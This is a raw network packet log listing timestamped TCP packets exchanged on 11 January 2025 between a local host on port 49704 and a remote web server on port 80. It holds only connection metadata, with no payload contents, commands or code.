Jan 11, 2025 00:06:29.823272943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.823292017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823304892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823343992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.823369026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823405027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823407888 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.823563099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823575974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823586941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823600054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823610067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.823628902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.823728085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823744059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823775053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823779106 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.823791027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823817015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.825865984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.867248058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.867269039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.867281914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.867294073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.867305994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.867326021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.867335081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.867348909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.867361069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.867417097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.904828072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.904875040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.904891968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.904898882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.904905081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.904938936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.904967070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.904978991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.904992104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.905005932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.905054092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.905076027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.905117989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.905118942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.905118942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.905148029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.905170918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.905180931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.905186892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.905200005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.905213118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.905221939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.905262947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.915643930 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.919002056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.942703009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942718983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942730904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942748070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942760944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942770958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942894936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942905903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942914963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942923069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.942923069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.942935944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942955971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.942956924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.942965031 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.942970037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943034887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943078995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943103075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943114996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943129063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943149090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943160057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943160057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943212986 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943352938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943365097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943377018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943403006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943408966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943423033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943434000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943448067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943451881 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943479061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943703890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943715096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943726063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943737984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943746090 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943767071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943769932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943783998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943794012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.943821907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.943849087 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944076061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944096088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944111109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944122076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944134951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944143057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944147110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944159985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944163084 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944191933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944375038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944386959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944403887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944422007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944439888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944448948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944452047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944464922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944475889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944494963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944516897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944536924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944549084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944560051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944571972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944606066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944633007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944684982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944696903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944708109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944720030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944731951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.944740057 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.944761992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.948215961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948229074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948242903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948256969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948267937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948282003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948287964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.948333979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948338032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.948347092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948363066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948381901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.948383093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948395967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948406935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948409081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.948420048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948431015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948443890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948446035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.948470116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.948488951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.948839903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948923111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948934078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948945999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948956966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948967934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.948971033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.948993921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949016094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949027061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949038982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949049950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949065924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949073076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949079037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949091911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949112892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949134111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949501038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949512005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949532032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949542999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949553967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949563980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949568033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949601889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949625969 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949704885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949717045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949728966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949739933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949752092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949764013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949765921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949776888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.949799061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.949834108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.950129986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.950174093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.957565069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.957578897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.957597017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.957611084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.957623005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.957632065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.957634926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.957690001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.957690954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.957715988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.957756042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.960566044 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.995400906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995424032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995435953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995446920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995457888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995470047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995523930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995537996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.995543003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995558023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995563984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.995570898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995583057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995600939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.995635033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995646954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995657921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.995670080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.995685101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.995706081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033318996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033339977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033351898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033370018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033382893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033394098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033406973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033483028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033515930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033525944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033536911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033550024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033561945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033562899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033586025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033596992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033598900 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033612013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033627033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033628941 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033646107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033649921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033674002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033685923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033685923 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033723116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033724070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033756971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033768892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033781052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033792019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033796072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033823013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033898115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033911943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033931017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033940077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033942938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033957005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.033972025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.033994913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034029007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034041882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034054995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034069061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034081936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034090042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034102917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034113884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034117937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034142017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034178972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034219980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034229994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034250021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034292936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034307957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034320116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034331083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034353971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034358978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034368038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034380913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034394026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034425020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034480095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034492970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034503937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034537077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034549952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034562111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034574032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034586906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034590006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034605026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034616947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034622908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034631014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034641981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034648895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034672022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034796000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034837961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034847021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034858942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034882069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034893036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034899950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034904957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034918070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034934998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034939051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034957886 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.034969091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.034997940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035016060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035166025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035177946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035191059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035206079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035223007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035237074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035242081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035249949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035263062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035273075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035274029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035288095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035299063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035304070 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:30.035319090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:30.035322905 CET	49704	80	192.168.2.8	193.143.1.205
